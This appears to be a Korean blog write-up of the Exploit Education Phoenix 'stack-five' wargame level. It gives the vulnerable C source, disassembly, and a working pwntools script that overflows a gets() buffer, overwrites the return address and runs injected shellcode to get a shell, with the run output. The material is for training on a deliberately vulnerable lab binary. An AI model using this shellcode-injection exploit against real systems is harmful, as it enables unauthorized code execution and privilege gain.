[Phoenix] Stack five

2022. 9. 27. 09:06·Wargame/Exploit Education
728x90
반응형

1. intro

2. code 및 분석

2.1.  C code

/*
 * phoenix/stack-five, by https://exploit.education
 *
 * Can you execve("/bin/sh", ...) ?
 *
 * What is green and goes to summer camp? A brussel scout.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *);

void start_level() {
  char buffer[128];
  gets(buffer);
}

int main(int argc, char **argv) {
  printf("%s\n", BANNER);
  start_level();
}

 

2.2. 분석

앞선 문제와 동일하며, start_level 함수에서 buffer에 값을 받아들인다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

gets. 크기 확인 안함. ret address 변조 가능.

 

3.2. 공격 준비

우선 start_level의 buffer 변수에서 ret address까지 거리를 보면 아래와 같고,

...
   0x0000000000400595 <+8>:     lea    -0x80(%rbp),%rax
   0x0000000000400599 <+12>:    mov    %rax,%rdi
   0x000000000040059c <+15>:    callq  0x4003f0 <gets@plt>
   0x00000000004005a1 <+20>:    nop
   0x00000000004005a2 <+21>:    leaveq
   0x00000000004005a3 <+22>:    retq

이번에는 셀을 실행시켜야하기 때문에 shellcode가 필요하다.

pwntools를 이용해서 공격해보자.

 

4. exploit

처음에는 gdb로 알아낸 주소인 0x00007fffffffe660으로 return 하였는데 제대로 작동하지 않았고, 16 bytes씩 이동하며 시도하다 성공하였다.

from pwn import *

p = process('/opt/phoenix/amd64/stack-five')
e = context.binary = ELF('/opt/phoenix/amd64/stack-five')

pay = b''
pay += b'A'*0x88
pay += p64(0x00007fffffffe680)
pay += b'\x90'*0x10
pay += asm(shellcraft.sh())
pay += b'\x90'*40

p.sendafter('education\n',pay)
p.interactive()

 

user@phoenix-amd64:/opt/phoenix/amd64$ python /tmp/a.py
[+] Starting local process '/opt/phoenix/amd64/stack-five': pid 784
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/opt/phoenix/amd64/stack-five'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    RPATH:    '/opt/phoenix/x86_64-linux-musl/lib'
[*] Switching to interactive mode
$ id
$ id
uid=1000(user) gid=1000(user) euid=405(phoenix-amd64-stack-five) egid=405(phoenix-amd64-stack-five) groups=405(phoenix-amd64-stack-five),27(sudo),1000(user)
728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Exploit Education' 카테고리의 다른 글

[Phoenix] Format zero  (0) 2022.09.28
[Phoenix] Stack six  (0) 2022.09.27
[Phoenix] Stack four  (0) 2022.09.27
[Phoenix] Stack three  (0) 2022.09.27
[phoenix] Stack Two  (0) 2022.09.26
'Wargame/Exploit Education' 카테고리의 다른 글
  • [Phoenix] Format zero
  • [Phoenix] Stack six
  • [Phoenix] Stack four
  • [Phoenix] Stack three
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (559)
      • To do list (0)
        • Doing (1)
        • Complete (6)
      • Diary (37)
      • Tips & theory (77)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (352)
        • Dreamhack (183)
        • pwn.college (37)
        • pwnable.tw (0)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (50)
        • Solved (48)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwnable.kr
    64bit
    exploit education
    x64
    rop
    32bit
    x86
    ROOT ME
    FSB
    BOF
    root
    vtable
    root-me
    libc
    Buffer Overflow
    docker
    Me
    hackerschool
    cryptohack
    pwntools
    _IO_FILE
    la ctf
    phoenix
    dreamhack
    lob
    RTL
    Format String Bug
    tcache
    CANARY
    heap
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[Phoenix] Stack five
상단으로

티스토리툴바